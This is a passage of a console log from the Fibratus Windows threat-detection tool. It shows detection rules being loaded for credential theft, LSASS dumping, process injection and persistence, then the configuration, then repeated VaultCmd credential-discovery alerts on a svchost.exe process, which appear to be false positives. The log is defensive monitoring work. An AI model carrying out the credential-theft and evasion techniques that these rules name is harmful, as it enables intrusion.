PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\WINDOWS\System32 ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:36:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:36:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:36:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:37:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-03T23:37:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:37:02+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-03T23:37:02+01:00 level=info msg=bootstrapping with pid 5136. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:37:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ use-template=>true to=>[] port=>25 content-type=>text/html enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-net=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-image=>true max-buffers=>36 enable-handle=>false enable-fileio=>true enable-registry=>true flush-interval=>1s enable-vamap=>true enable-dns=>false enable-mem=>false buffer-size=>512 stack-enrichment=>true enable-audit-api=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 max-size=>100 max-backups=>15 level=>info] + output ......................... [ elasticsearch=>[ gzip-compression=>false template-name=>fibratus healthcheck=>true enabled=>false healthcheck-interval=>10s healthcheck-timeout=>5s index-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 flush-period=>1s timeout=>5s trace-log=>false] amqp=>[ vhost=>/ delivery-mode=>transient passive=>false durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus enabled=>false routing-key=>fibratus timeout=>5s exchange-type=>topic] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] http=>[ tls-insecure-skip-verify=>false method=>POST serializer=>json timeout=>5s enabled=>false endpoints=>[] enable-gzip=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false enabled=>false skip-files=>false fastscan=>true excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-mmaps=>false scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:37:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:37:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:37:42+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3982307 + Pid: 1400 + Tid: 8668 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:37:25.5269398 +0100 CET + Params: file_key➜ ffff808cc87f9e90, offset➜ 0, pid➜ 1400, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 2a1fad70000, view_size➜ 8192 + Metadata: subtechnique.id: T1555.004, tactic.id: TA0006, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1400 + Ppid: 760 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k RPCSS -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k RPCSS -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:37:42+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3983810 + Pid: 1400 + Tid: 8668 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:37:26.8793071 +0100 CET + Params: file_key➜ ffff808cc87f9e90, offset➜ 0, pid➜ 1400, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 2a1fad70000, view_size➜ 8192 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555 + + Pid: 1400 + Ppid: 760 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k RPCSS -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k RPCSS -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:37:42+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3983810 + Pid: 1400 + Tid: 8668 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:37:26.8793071 +0100 CET + Params: file_key➜ ffff808cc87f9e90, offset➜ 0, pid➜ 1400, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 2a1fad70000, view_size➜ 8192 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, tactic.id: TA0006 + + Pid: 1400 + Ppid: 760 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k RPCSS -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k RPCSS -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program 